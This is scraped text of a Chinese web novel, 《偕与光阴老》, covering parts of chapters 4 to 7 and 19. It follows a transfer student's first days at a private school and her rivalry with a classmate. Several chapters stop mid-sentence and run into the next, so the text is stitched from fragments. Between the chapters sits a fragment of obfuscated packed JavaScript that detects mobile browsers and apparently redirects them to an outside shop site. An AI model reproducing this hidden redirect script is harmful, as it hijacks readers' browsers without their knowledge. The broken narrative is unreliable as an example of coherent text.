刘虹萍长叹一口气,抬眼看向等候多时的冯寂染时,重新绽出了和蔼的微笑:“我看过你的过往成绩了,非常不错,是个出类拔萃的好苗子,到了明理再接再厉,明年考上立达不是问题。” 立达是苏州姑苏区第一梯队的中学之一,冯寂染初来乍到对这些学校没有概念,但从刘虹萍的表情可以看出这是一所好学校。 刘虹萍把手机妥帖地收进抽屉里,拿起桌上的教科书和教案本:“走吧,我们班的教室就在隔壁。我现在带你去见见新同学,你上台做个简单的自我介绍,相信你很快就会融入这个大家庭的。” 冯寂染点了点头,背着书包亦步亦趋地跟随在刘虹萍身后。 今天是刘虹萍的早自习,她刚才没在教室里守着,但她的课代表很负责,正一丝不苟地带领着班上的同学诵读课文。 冯寂染跟在刘虹萍身后,经过窗前时,一眼就看见了翘着凳子坐没坐相的谭恒澈。 下一秒,他像是心有灵犀,偏头朝她望过来,炯炯的目光里有光亮闪烁。 四目相对的瞬间,他勾起唇角意味不明地笑了一下,随即抬手抵住下颚,压平了身下的凳子,正襟危坐。 冯寂染知道谭恒澈不是善茬,他笑必有端倪。 她心里隐隐有种不祥的预感,他该不会在她自我介绍时捣乱吧? 实际上,冯寂染还在教师办公室里走流程时,关于她的话题就在班上议论开了。 “听说了吗?咱们班转来了一个女生,现在就在萍萍办公室和萍萍聊着呢。” 刘虹萍和学生的相处模式很和谐,面对学生们时就像一个温柔的大姐姐,课上经常整活,学生们都很喜欢她的教学风格,没人给她取外号,反倒亲昵唤着叠字。 “知道,我刚从那边过来,看到一个背影,看上去是个美女。” “你咋不等她转过来看看她的长相?我只想知道她长得漂不漂亮。” “今早下雨路特难走,我可是踩点到学校的,哪顾得上仔细看?等会儿她过来了你自己看呗。” “你们男生真庸俗,别的都不看,就看脸,看看道德品质和文化素养不行吗?能不能不对人家的相貌评头论足,不觉得很不尊重人吗?” “不看脸看什么?她转到咱班又不能给我卷面分数加几分?别人说这话还有立场,你就得了吧。你围在篮球场边上给澈哥喊加油,鬼叫着‘好帅啊’的时候怎么不这么说?” 这个男生现实的想法遭到了女生的唾弃,女生却碍于他最后把谭恒澈扯进来了,被堵得哑口无言,红着脸偷看了正在假寐的谭恒澈一眼,低声夸道:“澈哥又不是空有皮囊,他这个人 4. 夏暮(四) 《偕与光阴老》全本免费阅读 “麻烦让让。” 低沉的声音从包围圈外传来,像远海的舰队发出了清障的信号,聚集的渔船纷纷为之让道。 冯寂染听到这个声音头皮一紧。 一听就知道是谭恒澈。 果然,下一秒就看见他那张面无表情的扑克脸从闪开的人身后露出来,阎王似的带来了满满的压迫感。 旁边的同学都不自觉地躲远了点,专门给他腾出一个能和冯寂染交谈的空位,目光却从未从他那张俊脸上移开。 有偏爱他身上这股阳刚之气的女生情不自禁发出奇怪的动静,捂着唇哼哼唧唧。 也有觉得谭恒澈装逼的男生不屑地轻嗤,换了个安全的位置看戏。 他们的注意力完全被走过来的谭恒澈吸引了,不动声色地等着看这位山大王在新人面前立威。 冯寂染也一瞬不瞬地望着谭恒澈,随时准备对他挑起的事端进行应对。 如果没有初次见面时经历的不愉快,她和谭恒澈应该会相处得和谐融洽。 她大概率会把他当成一个有钱人家的朋友,或是帮了她家大忙的邻居,不说对他感恩戴德,起码不会如临大敌。 现在她被谭恒澈时冷时热的态度和未知的立场所惑,风声鹤唳,草木皆兵,对他的一举一动都分外关注,像一只应激的猫科动物。 不料谭恒澈让这些人让让,真就只是让他们让让,径直从他们让出的道走过去,把众人抛在了身后。 在其他人的视角里,就是他从自己第五排的座位绕到了讲台,又从他们中间穿过,奔着后门出去了。 行动轨迹让人摸不着头脑,没人看懂他的意图。 应试教育培养出来的学生,一生都在解题。 有人看着他消失的背影疑惑地问同桌:“澈哥什么意思啊?” “什么什么意思,能有什么意思?”他的同桌正在预习下节数学课的内容,在草稿纸上写着反比例函数的解析式,无心参与八卦。 那人挠着头琢磨:“没什么意思他绕一大圈?” 同桌不以为意:“没事起来走两步怎么了?他平常不都是一下课人就不见了?” “这次不一样,这次有那个转学生。” “转学生怎么了?转学生没和他一起出去啊。” “算了……以后不和你讨论这么深奥的问题了,你还是写你的数学题吧。” 其他人的议论也大同小异。 谭恒澈这虚晃一枪如同在众人面前投了颗烟雾弹,让冯寂染隐没在重重迷雾中,没人再拉着她问东问西,围着她的人如鸟兽散。 冯寂染松了口气,开始清点同学们送她的见面礼,配合着对方的外貌特征对号入座。 小熊发夹是坐她斜对面头发自带卷的甜妹送的,甜妹名叫孔莹雨。 粉色荧光笔是眼角长着泪痣的齐刘海送的,她叫曲岚盈。 俄罗斯进口奶酪是第一排的酷飒高马尾送的,她让她叫她“雯姐”。 她们对她都很热情,只是和她说话时会偶尔看向她身旁的张耀毅,再看她时,眼神里会若有似无地流露出一丝怜惜。 不知道是不是因为她潜在的自卑心作祟,所以看错了。 明理中学是远近闻名的私立中学,建校的是苏州籍的知名企业家,入学筛查很严格,对成绩和家世都有要求,升学率接近百分百,没有谭岳和李悦容的打点她进不来。 她的这些女同学十有八/九是非富即贵的大小姐,却也不会大手大脚地送她贵重物品,送的还是这些在学校周边就能买到的小玩意。 她庆幸自己回得起这些礼,也更加确定金钱财力和身世背景,在学生时代是被心照不宣地埋藏在校服之下了。 只要她的学习成绩优异且稳定,就能在校园里大放异彩。 她一定能一如既往的让人望尘莫及,也能像谭恒澈一样名声大噪。 冯寂染构想着未来的美好蓝图,弯着唇将同学们送她的礼物收好,随即偏头问刚才向她打听过来路的同桌:“你有没有我们班的课表?” 她问的时候以为张耀毅会跟那些送她礼物的女同学一样好说话,没想到张耀毅痞笑着说:“我们班的课表我当然有了,隔壁班的课表我也能要到,就看你肯不肯求我了。” 前排的女生知道这货又犯病了,豪气干云地打开文具盒,将贴在文具盒上课表甩给冯寂染抄:“我这有,抄完还我。” “谢谢。”冯寂染礼貌答谢。 前排女生的帮助引起了张耀毅的不满,他不悦地嚷嚷道:“干什么赵伊婷?成心和我过不去?” 赵伊婷嗤之以鼻:“谁想不开和你这种人过不去,上学期谭恒澈没把你治老实是吧?” 冯寂染听到赵伊婷的反应心下一紧,突然后知后觉地意识到刘虹萍为什么会把她安排成张耀毅的同桌了。 全班就张耀毅旁边的位置是空的。 她一开始以为是偶然,现在听赵伊婷这么一说,应该是他风评不好,没人愿意和他做同桌。 张耀毅撕掉了刚才有意收敛的虚伪面具,露出狰狞的獠牙来,狞笑着反驳赵伊婷:“他现在是两耳不闻窗外事,一心只读圣贤书,你以为他会插手这点破事吗?” 冯寂染心说,看吧,学校里的纷纷扰扰就是多。 她分明不久前才打定主意不过问这些是是非非,现在却因为听到了谭恒澈的名字被勾起了好奇心。 他们之间究竟存在什么过节? 赵伊婷扭头对冯寂染说:“冯寂染同学,你现在就去跟萍萍说,你不想和这个人渣做同桌!” 张耀毅怒气冲冲地拍桌,蛮横地跟赵伊婷叫板,眼盯着赵伊婷,对冯寂染说:“我看你敢!你今天要是去提换同桌,今后就别想好过!只要我还在这个班,你坐哪儿都一样!” “呵。” 他身后传来一声冷笑,谭恒澈不知道什么时候站在了他身后。< 5. 夏暮(五) 《偕与光阴老》全本免费阅读 冯寂染对张耀毅的咸猪手避之不及,不动声色地将自己课桌拖开了一点,和他的课桌之间隔开了一道缝隙,和划“三八线”一个含义。 可张耀毅没脸没皮,非但不识趣还趁她不注意又把她的课桌拉回去,让他们的课桌牢牢并在一起。 冯寂染不甘示弱,张耀毅寸步不让。 这番拉扯持续了大半节数学课。 临近下课的时候,冯寂染没掌握好拖桌子的力道,桌腿摩擦着地面,发出一声长且刺耳的巨大声响。 讲台上的数学老师顿时将课本一摔:“忍了你们一节课了,桌子有那么好玩吗?又不是小学生了,是对我讲的内容有意见,还是对我这个人有意见,上课不知道该干什么吗?” 冯寂染暗叹自己运气不好,自从进城以后霉运不断。 她坦然接受了自己的水逆体质,脸不红心不跳地编起瞎话,一副楚楚可怜的无辜模样:“不好意思,老师,我的桌子好像坏了,可以叫校工来修一下吗?” 数学老师认出她是新来的转学生,不想她初来乍到就当堂给她难堪,只好无奈地说:“下课以后让你们班男生帮你去楼下活动室换一张上来。” 冯寂染毕恭毕敬地鞠躬:“好的,老师。” 数学老师便不再过问他们在课堂上制造出的动静,抓紧最后五分钟给本节课的教学内容收尾。 这段插曲就这么轻而易举地过去。 张耀毅看着她从容不迫地睁着眼睛说瞎话,顿时觉得自己小瞧她了,冷蔑地讥诮道:“看不出来啊,你这人看着老实乖巧,心眼居然这么多,撒起谎挺顺口啊,心理素质可以嘛,差点真被你骗过去。” 他说话可真难听,句句阴阳怪气,跟谭恒澈比起来有过之而无不及,冯寂染清秀的面庞上凝起了一层寒霜,不客气地警告张耀毅:“你再这样骚扰我,你对我的所作所为不但会捅到老师那里,还会人尽皆知。就算你的父母在教育系统里担任要职,也是需要起到模范带头作用的公职人员,要是因为你在学校闹事丢了工作——” 冯寂染没有说下去,给了他充分的想象空间。 张耀毅没想到她看起来温顺可欺,才会肆无忌惮地占便宜,没想到她这么难缠,直接戳到了他的痛处,威胁到了他的命门。 眼下他权衡完利弊,当真感受到了一丝恐惧,只好尴尬且无耻地笑了笑,试图用油腻的腔调惹得对方厌恶,来逃脱对方后续的追责:“你这颗小辣椒还真辣啊。” 冯寂染拧着眉毛剜了他一眼,重新把桌子拖开。 这一次,张耀毅没把她的桌子拉回去,也没再主动靠过来。 冯寂染仅靠她自己就把张耀毅这个人嫌狗厌的讨厌鬼给解决了,赵伊婷回头看了她一眼,明目张胆地当着张耀毅的面冲她竖起大拇指。 张耀毅见状气得鼻子都歪了,却只能打落牙齿和血吞。 这件事至此远没有结束,冯寂染是相当记仇的人,如果有仇当场没报,可能是当场不方便报,只能退而求其次,秋后算账。 下课铃打响后,数学老师前脚刚走,冯寂染就稳准狠地揪住了张耀毅的耳朵,反手一拧。 张耀毅吃痛“嗷嗷”叫,嘴里咒骂着,含植物量超标。 刚才上课前,谭恒澈要是和张耀毅打起来,不是谭恒澈单方面地殴打,就是双方互殴,一打架就要背处分,说不定到毕业记录都消不掉。 但她动手就不一样了。 她只是一个手无缚鸡之力的女孩子,能对张耀毅造成什么不可逆的伤害呢? 张耀毅被她拧着耳朵,耳朵都快被拧掉了,却不能还手。 还手就是全民公敌。 不论什么年龄阶段打女人都是为这个社会所不容的。 他胆敢当众还手,都用不着等到第二天,全校都会流传起他的恶名,说他动手打了他们班女生。 再一深扒,打的还是转学生。 受不受处分都不重要了,重要的是他在明理中学做不了人了。 她转学生的身份无疑是天然的噱头,自带弱势群体的故事感,听到这则八卦的人会自行脑补,将整个事件往最具冲突的方向渲染。 冯寂染同样爱惜自己的羽毛,所以她出手必须师出有名。 在拧着张耀毅耳朵发力的瞬间,她大声喝道:“下次你的手再乱摸乱放,我就把你的耳朵揪掉。” 上课前,谭恒澈已经停在张耀毅面前唱了一出。 离得近的人知道原委,离得远的人虽然不清楚来龙去脉,但也知道张耀毅是当事人之一。 跟谭恒澈对上的时候,还可能是双方各担一半的责任,这下只隔着短短一节课,他就又跟人摩擦出了火花,明眼人都看得出是他的问题。 更何况他的名声一直都很狼藉。 围观的同学看见冯寂染揪着张耀毅耳朵痛斥他的一幕,不仅感到了前所未有的新鲜稀奇,还觉得十分滑稽好笑,哈哈笑着拍手叫绝。 有人趁乱起哄:“张耀毅,你又怎么惹人家了,没事惹人家干嘛?耳朵不要了。” 话音里慢慢都是幸灾乐祸的调侃。 张耀毅脸上挂不住,却敢怒不敢言,费尽力气从冯寂染手中挣扎出来后,用食指指着她,恶狠狠地说:“你不要高兴得太早,敢骑在老子头上作威作福的还没出生呢。老子迟早让你这个泼妇吃不了兜着走,你给老子等着。” 冯寂染听着他满口的“老子”更想让他有多远滚多远了。 她就没把张耀毅这种歪瓜裂枣当正经人物看待,谅他也没胆子报复回来,便面不改色地藐视道:“我等着。” 谭恒澈要她受到张耀毅的骚扰后去告状。 他有什么资格教她做事? 她才不需要别人替她做主,这种程度的麻烦她自己就能解决。 谁要是对她处理问题的方式指手画脚,她就把这个人解决。 赵伊婷佩服冯寂染快意恩仇的勇气,激动地拉着她说她太酷了。 冯寂染对每一个对她有好感的人都有好感,正好她有一些关于课程表的问题没弄明白,便落落大方地拿着他们班的课程表向赵伊婷请教。 赵伊婷和她很投契,可谓是有问必答。 “ 6. 夏暮(六) 《偕与光阴老》全本免费阅读 去年校运会为了把班上的参赛名额凑满,刘虹萍点兵点将点到谭恒澈,给他报了男子1500米,阴差阳错让他把校记录破了,从此他们班的体育委员就是他了。 今年开学,刘虹萍说竞选班委的事延后再议,让他们这批班委再为班级出点力,一锤子买卖做到了底。 早知道他就收敛点锋芒,跑慢点了。 他最烦的就是管别人的闲事,让他当班干部不就相当于让生产队的驴去羊圈看羊吗? 一年以来,他占着职务就没管过事,全靠班上的同学自觉懂事。 他就纳闷了,学校不该是人才辈出的地方吗?怎么一个能打的都没有,弄得他像是草台班子上唯一撑台面的选手。校庆提报节目时让他在礼堂弹钢琴,书法比赛让他交作品,篮球队推荐他当主力,国旗下的讲话让他演讲,广播站晨间新闻让他读稿,还有那么多杂七杂八缤纷多彩的校园课程要交的千奇百怪的作业,让他在本该青春洋溢的年纪积攒了一身任劳任怨的戾气。 他一天到晚为这些破事忙得连学都不想上,周末还要去青少年宫培训。 也就是家里有一群人照料着他的生活,不然他都不知道自己这条劳碌命能苟到几时。 说出去别人都当他是得了便宜还卖乖,可他真的累得都快厌世了,自然不像其他那些受女孩子青睐的男生一样端着架子表现得神圣不可侵犯,甚至努力让自己活得真实一点,差劲一点,招人烦一点,总该不受女孩子追捧,少给自己增加点情感上的负担了吧? 这可倒好,这帮女生都觉得他更生动鲜活了,纷纷向他示好,就连跑操这种令人讨厌的缺氧运动仿佛都因为他当了这个体育委员而变得神清气爽了。 几乎每个女生从他身边经过都娇嗔地笑着跟他打招呼,问他今天能不能放水。 他是电热水器还是抽水马桶,放哪门子的水? 班上的男生有眼红他的,也有想巴结他好偷懒的,见女生们对他这么热情,眼珠子一转就意味不明地笑着说:“澈哥,看这帮女生多配合你的工作啊,尤其是那个新来的,第一天来报到就冲在了最前面。” 谭恒澈闻声抬眼,果然看见冯寂染拽着一个女生向操场上他们班级的固定跑操点位狂奔,估计是最先就位的。 旁人的谄媚之辞听听也就罢了,他可不会当真。 冯寂染对他的不待见是写在脸上的,他都不知道自己要不要在意。 就在这时,这名男生又接着说:“这转学生可真够彪悍的,张耀毅的耳朵都快被她拧下来了吧?像她这么粗鲁的女生真可怕,也不知道今后谁会娶她,真要在不知情的情况下娶她过门可真是倒大霉咯,婚后有的受了。” 谭恒澈也不知道他这些粗鄙的言论是跟谁学的,他听了不知为何感到不舒服,当即不悦地怼了一句:“就你考的那点烂分,能有什么前程,攒得到老婆本吗?” 受到他的冷嘲热讽,男生顿时涨红了脸,不甘示弱地反唇相讥:“澈哥,你这话就说的不对了,成绩和前程有什么必然联系吗?我就算是初中肄业,我爸妈照样能把我送到国外去深造,将来我说不定能娶个洋妞,为咱中国走向国际作出贡献。倒是你,回回考个第二名,跟第一名就差个几分,待遇截然不同。戴着个万年老二的称号你就不觉得难受吗?可比我这个倒数第二不自在多了吧。” 谭恒澈轻笑一声,对男生的狂悖之言嗤之以鼻,懒得同他计较。 男生却当自己看出什么端倪来,坏笑着揣度:“你这么在意我说她,是不是喜欢她啊,别是一见钟情了吧?” 这副轻浮的态度令人生厌,谭恒澈总算是知道冯寂染来的第一天为什么会那么生气了。 天底下究竟有什么法子能治嘴贱的毛病。 这个问题要是解决了,想必天下太平不是难事。 谭恒澈不顾自己的名声,笑着问:“我就是对她情有独钟又怎么样?轮得到你说三道四。” 男生没想到他会是这种反应,还以为他会否认以后和他一起贬损冯寂染,现在谭恒澈的言语无异于是对冯寂染的一种维护。 他当然知道自己是在无中生有,也不觉得高傲的谭恒澈会喜欢那种武力值值爆棚、一个能打十个、能压制他的女生,闻言一愕。 他没事找事真搞得自己现在骑虎难下了,总不能真被谭恒澈的威慑弄下不来台吧。 他不禁揉了揉鼻子,秒怂:“我这不是闹着玩开玩笑吗?怎么还当真了。你又不是不知道张耀毅那个混球有多欠揍,他能有今天是他活该。” 转眼间,又是另外一套截然相反的说辞了。 真就是见人说人话,见鬼说鬼话,灵活变通,随机应变。 还算是识趣。 谭恒澈便也不再与他计较了。 比起风和日丽的天气,暴雨驱散了空气中迟滞的闷热,让呼吸变得容易了许多,也不用顶着大太阳忍受灼热的炙烤了。 在这种天气下跑操,对学生们在严酷环境中的考验要小一点,可毕竟是五公里,同样不轻松。 雨后的塑胶跑道带着一种渗透在细碎颗粒里的湿润,跑道边缘尚有积水,但总体不影响大部队行进。 因特殊情况而请假的女生也不能回教室,必须站在跑道旁边看着其他同学挥汗如雨地奔跑。 规矩就是规矩,没有人可以例外。 这是学校教给步入社会前的未成年学生的最重要的一课,也是社会机制正常运转的基础。 跑步是不需要额外学习的锻炼方式,有腿就行。 大家在学校说的是普通话,偶尔加密也不是非让人听见不可的,冯寂染这个语言不通的异乡人轻而易举地融入了集体。 她像是旷野里的羚羊一样,步履矫健又轻盈。 和她并列跑在队尾的赵伊婷则跑得上气不接下气,不一会儿就气喘吁吁。 赵伊婷由衷佩服冯寂染的耐力,对冯寂染说:“其实我觉得你比谭恒澈更适合当体育委员。你看着就让人很有冲劲,谭恒澈那副要死不活没半点责任心的样子真的很降低人的积极性,只可惜我们学校从来没有女生当体育委员的先例。” 冯寂染倒是没有篡权夺位的心思,只不过听赵伊婷这么一说,突然找到了共同话题。 她问赵伊婷:“你不觉得谭恒澈很帅吗?她们都为他的外表神魂颠倒,认为他漫不经心的样子才令人着迷,并不在乎他是否能 7. 夏暮(七) 《偕与光阴老》全本免费阅读 初二(一)班的教室在走廊的一端,紧邻着楼梯拐角处的综合办公室。基本上每个要回教室的同学都会路过他们班,下意识地朝他们班的教室里看一眼。 一班是素质教育的试点班,也是实验班,大型的公开课都会在他们班上,可以说是全校的标杆。这个班里但凡有点什么风吹草动,路人甲乙丙丁都会奔走相告,呼朋引伴来看热闹。 跑操收队后,一班的窗口挤满了高高低低的脑袋,时不时从窗外冒出几声推搡时引发的争执。 教室里同样围了里三层外三层,都是来围观冯寂染和谭恒澈之间的赌约的。 旁边看热闹的人都摩拳擦掌跃跃欲试,两个主角却在坐下后淡定地对视。 他们并不着急比试,耐心地说着开场白。 谭恒澈好整以暇地望着冯寂染,好似胜券在握一般问道:“我输了我让贤,你输了呢?” 他说完这话,引起了不小的争议,马上有人掩着嘴跟同伴交头接耳:“澈哥不会真的要跟这个转学生一般见识吧。他平时不是挺大度的吗?这转学生什么时候得罪他了?” “刚才跑操的时候,她好像咒澈哥谢顶来着。” “不是,你听谁说的,在这以讹传讹?是赵伊婷那个疯女人又口无遮拦了好吧?这个转学生只不过是强出头,替赵伊婷挡了灾罢了。” “又是我们婷姐啊,那不奇怪了。谁跟她在一起久了都会长出几斤反骨来。这转学生看着柔柔弱弱,跟澈哥掰手腕,能赢吗?怎么这么想不开,跟澈哥服个软,澈哥还能真跟她计较吗?输了不会掉金豆豆耍赖,求澈哥怜香惜玉吧。” “所以澈哥不是怕她输不起才问这句话的吗?我倒是很好奇,她会下什么样的注。” 冯寂染耳尖,旁边人的议论她都听得一清二楚。 她和谭恒澈打赌,并非是意气用事,而是仗着有掷铅球的底子在才斗胆一试。 她手臂上的肌肉只是藏在皮肤和衣袖下不太明显而已,而且男女的体型有区别,她练得再卖力,塑造的形体也依旧纤细柔美。 实际上她的体能在他们镇上的学校是数一数二的,初一还在校体训队里拖过一阵子轮胎,下盘也很稳。 虽然她这次未必能赢,但挑战到了谭恒澈的权威就是稳赚不赔。 所有人都对强者有崇拜心理,也都会对过强的人产生忌惮和恐惧。在没有人敢与谭恒澈作对的情况下,她只要能在谭恒澈面前撑过一个回合,就会有人打心眼里佩服她的勇气,暗自支持她与谭恒澈分庭抗礼。 过去她在她原来就读的学校积攒下来的威望与受到的优待,都随着环境的更换不复存在了。 同学们对她的示好只有一天的时效,没人有义务时刻像解说员一样回答她的疑问,是人都会厌倦的,她不能把所有希望都寄托在赵伊婷对她的关照上。 转学生的身份很快会随着时间的推移被淡化,她将在新的班级里彻底成为一个平平无奇的普通人,没有人会多看她一眼,也就没有人帮助她适应新的环境,弥补信息差,那么隐藏在这所学校里的潜规则,都需要她通过观察来摸索,太耗费时间和精力了。 她清醒地知道,哪怕是在纯真烂漫的校园里,竞争和淘汰也是存在的,和社会上残酷的斗争并没有什么差别。 她退不了一步。 她要想在这个班上有一席之地,要么凭成绩说话,要么凭武力说话。 距离月考还有大半个月,她没有耐心等到成绩公布再脱颖而出,在这大半个月里她经历的冷遇,随时都有可能让她丧失骄傲和自信,开启恶性循环,从此一蹶不振。 她必须要和从前一样优秀出彩,用一些正向的反馈,来抵御自己寄人篱下的苦闷与酸楚,否则她不久就会变成悲秋伤春的忧郁少女,因为适应不了新的环境而从鸡头变成凤尾。 况且和谭恒澈扳手腕,她也未必会输。 掰手腕是需要技巧的,不是谁力气大谁就一定能赢,要机灵地找准最利于自己发力的姿势,阴险地给对方施力制造困难。 这里面的门道多着呢,都是她以前在校体训队跟男生们打成一片时,那帮男生分享给她的经验之谈。 在旁人看来,谭恒澈让她下注是出于对她的轻视和侮辱。 冯寂染却觉得是正常的公平起见,真当她是对手。 不然,这要是算轻视和侮辱,刚才她在操场上跟他针锋相对,逼他让位时,又叫做什么呢? 冯寂染利用下注的时机,率先伸出手,不动声色地将手肘搁在桌上找好了发力点,冲谭恒澈狡黠地笑着说出自己的赌注:“我输了,给你带一个月的早餐。” 谭恒澈闻言压下了眉毛,旋即被她的聪明才智气笑。 她的早餐都是在他家吃的,她给他带早餐? 但是他又不能在众人面前挑明,不然就会暴露她住在他家这件事,引起轩然大波。 谭恒澈本就打算顺水推舟卖她一个人情,同时把自己肩上体育委员的担子趁机卸掉的,现在让她下注只是走个形式,令这场赌约看起来像是这么回事。 不论她下什么注,对他来说都无关紧要,是一场他蓄意为之的必输局。 等会扳手腕的时候,他会先演一下,抬出几个回合有看点的拉扯,尽量让这场假赛显得真实。 然而当他温热干燥的手与冯寂染冰凉柔软的手相碰时,一股触电般的酥麻感便涌至了全身。 他从来没有触碰过少女的手,也不知道少女的手是这个触感。 她的虎口与他的虎口契合,仿佛天造地设的一般,紧密相嵌。 赵伊婷是这场比赛的裁判。 “各就各位,预备——”她高举起双手,在众目睽睽之下朝下一划,“开始!” 两只紧握在一起的手,连肤色都差不多,在轻微的颤抖中,被对方握得泛起潮红。 “加油!” “加油!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12857628|134633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谭恒澈豪气干云地说:“那我让他们再重新煮一碗。” 说着就要往厨房走。 冯寂染连忙叫住他:“不用了,顶多是越泡越多,吃不完罢了。已经要浪费粮食了,就不要再浪费更多了。” 况且,她不得不承认她很饿。 只是不想当着谭恒澈的面承认她很饿才临时找了这么个合情合理的的借口。 谭恒澈凝视了她片刻,答应道:“好。” 他们又回到了琴房。 冯寂染没有料到专业星级厨师做出来的面条连泡了这么久都比她从前吃过的香。 是淋了香油吗?还是用了秘制的独门秘方?又或者只是她饿得狠了,产生的心理作用。 不管如何都毋庸置疑,这碗面没泡发之前一定更加美味。 谭恒澈没有盯着她吃,而是坐在琴凳上敲击着琴键,弹了一首她从未听他弹过的钢琴曲给她伴奏。 她吃碗面竟然吃出了非同寻常的高级感,她还以为这种场面只有在顶级西餐厅里才能遇见。 谭恒澈总算做了回人,让她的耳朵在受尽摧残后听到了一段行云流水般流畅的悠扬天籁。 冯寂染不知道谭恒澈有没有听到她和乔明娥之间的对话,也从他面无表情的清俊面容上看不出他的态度。 她觉得他如果听到了,应该会因为她家的一地鸡毛而对她感到厌烦。 现在他不光给她准备了晚餐,还在她面前卖艺。 他该不会是想在他们合作的基础上再翻新花样吧? 冯寂染一皱眉,谭恒澈就知道她准是想到别的方向上去了,连忙开诚布公地解释:“这是我七月中旬考级弹的曲子,都练出肌肉记忆了。我练了很久,也付出了很多,所以特别理解你走到今天这步有多不容易。古代有伯牙子期高山流水相和,以亲会友,我觉得我们之间能产生共鸣,我想和你交个朋友。” 他说得真诚又恳切。 冯寂染听了却心头一震。 他似乎是不满足于和她只是单纯同学的关系了,迫切地想要更进一步。 朋友。 她还从来没有交过异性朋友。 一般男生说要和她做朋友,都是觉得她够强,说出去很有面子。 她排斥的不是炫耀本身,是那种既想炫耀又打心眼里对她性别的蔑视。 当然她也有很多机会和正常的男生做蓝颜知已,但这样的男生通常腼腆又温柔,说不上几句话。 交流越来越少,感情也就越来越淡。 最后她又恢复了孤独。 她打量了谭恒澈一番。 他和她交朋友,图什么呢? 总要图点什么吧。 他又不缺朋友。 可是她等了一分钟都没见谭恒澈补充什么要求。 沉吟片刻,冯寂染没有明确地说行与不行,只是轻描淡写地一带而过:“明天早上一起骑车去上学吧。” 天晴了,司机就不会再送他们上学了。 明天将会是他们第一次一起骑车上学。 谭恒澈一听眼睛瞬间亮了。 她说她明天会和他一起骑车上学,他从这一刻起,就开始期待了。 19. 秋思(一) 谭老爷子回来后,在他老人家强大的气场压制下,谭家的气氛变得肃穆了不少。 连家里的保姆都规矩了许多,不敢再明目张胆地随意把活交给乔明娥干。 所以这些人心里都知道什么该做什么不该做,只不过没人看着的时候,受累的不是自己就可以了。 冯寂染察觉到了一股和学校里的教条神似的熟悉味道。 她其实也不喜欢这种压抑的氛围,但是如果整体看下来是利好于她的,她也不介意循规蹈矩。 毕竟这么多年来,她早已习惯了顺从规则并合理利用规则。 有些时候规则是对普罗大众的一种保护,它让欺软怕硬、落井下石的人有了忌惮,闲着没事何必去破坏它? 谭恒澈看起来也没有平常那么散漫了。 新学期到来时正值夏季的尾声,如今已然入了秋,日历上明明白白写着秋天的第三个节气白露,就等着一场酣畅淋漓的秋雨给世界降温。 新发的校服是秋季款,男生的是蓝白相间的运动服,女生的是红白相间的运动服。 里面穿什么可以自己随意搭配,日常当件外套穿没问题,只不过目前气温还没有彻底降下来,现在穿在身上会有一点闷热。 可谭恒澈却把校服的拉链严丝合缝地拉到了下巴,像是保守的中东妇女一样,冷白的皮肤被遮在了校服之下。 冯寂染满脸疑惑地看着面前面不改色的谭恒澈,眼神和很多年后看着他在大热天西装革履全副武装如出一辙。 她再看看自己身上敞开披着的校服外套,心想他可真耐热啊。 谭老爷子刚回来,不知前情,便问谭恒澈:“你们两个怎么去上学?你载染染吗?” 谭恒澈很久没有六点多钟就起床了,为了应付谭老爷子,今天起了个大早,起床气还没有散,分明和冯寂染约好了上学的出行方式,在听到他们两个之外的人问询,明显没什么耐性,张口便说:“我不载。” 他惜字如金,话也不说清楚,弄得他好像很不乐意载冯寂染上学,还当着冯寂染的面拒绝。 谭老爷子当即就上火了,横眉怒目道:“你跟她同路,载一下她怎么了?难不成让她一个女孩子走着去上学?” 谭恒澈每天听到最多的句式就是“你XXX怎么了”,好像他能就必须要做一样,连最基本的尊重和客气都没有,完全是把他当拉磨的驴来使。 本身如果不是被强制着非做不可的话,他是能心甘情愿地去做的。 受到胁迫,性质就不一样了。 谭恒澈的眉毛也紧紧拧起来,濒临发作边缘。 爷孙俩都是火爆脾气,眼看着就要吵起来,冯寂染连忙打起圆场,替谭恒澈补齐了没说完的话。 “您误会了,他不载我,是因为我可以自己骑。他把他舅妈送的生日礼物给我用了,说起来我还要谢谢他呢。” 谭恒澈拧起的眉毛没有舒展,脸上的神色亦没有和缓。 老爷子要是听了她的话就和颜悦色起来,是对她的偏袒,要是连她的话也听不进去,仍有一战。 他不是知难而退的性格。 比起孝顺老人的心,他更在乎自己的尊严。 他到了学会独立行走的年纪,便再不是家里人轻易能管教的了。 冯寂染见势不妙,把自己面前的擦手巾递给谭恒澈擦汗。 谭恒澈分心看了她一眼,终究是没有跟谭老爷子干起来,接过来把额头和鼻头的汗都抹掉了。 谭恒澈的肤质是汗白皮,流得汗越多就越白。 这个夏天他风里来雨里去晒黑了一圈,架不住他新陈代谢快,恢复的也快,养了一阵子又白回来了。 他的骨相本就出众,皮肤再一白,优越的五官、出挑的身材、无瑕的肤质,活脱脱将他塑造成了天上有地下无的绝世酷哥。 冯寂染仔细看了看他这张颠倒众生的俊脸,暗叹怪不得倾慕他的女生那么多。 这个世界本来就是一个无情的看脸的世界。 和谭恒澈一起去仓库推自行车时,冯寂染冷不丁问他:“你觉得我好看吗?” 谭恒澈刚跨上自行车,还以为自己听错了:“什么?” 冯寂染也觉得自己问得莫名其妙。 即便是她心知肚明,自己问的这个问题并非真的无厘头,听到他的反问,还是会下意识地打退堂鼓,没有再问。 说出来会被人嘲笑自恋。 可每当她对着镜子看自己的时候,十次有九次会觉得自己是真的漂亮,还有一次是在她狼狈且疲惫时漫不经心看的。 乔明娥年轻的时候是镇上出了名难追的一枝花,长得像上世纪的时髦港星,明艳动人。 就在不久前还有叔叔跟她说乔明娥年轻时的事迹。 别看冯茂鸿现在人模狗样,二十来岁时也是貌比潘安的风流浪子,穿上西装,打上领带,便像是风流倜傥的贵公子。 要不是他顶着这张清隽的俊脸,乔明娥当初也不会看上他。 按理说她继承了这两人的基因,样貌是不会差到哪里去的,奈何她从小就被她奶奶说丑,被冯茂鸿的狐朋狗友说她长得不像是他们夫妻俩生的,也没有认识的人当着她的面夸她的姿容,弄得她不禁怀疑自己的审美。 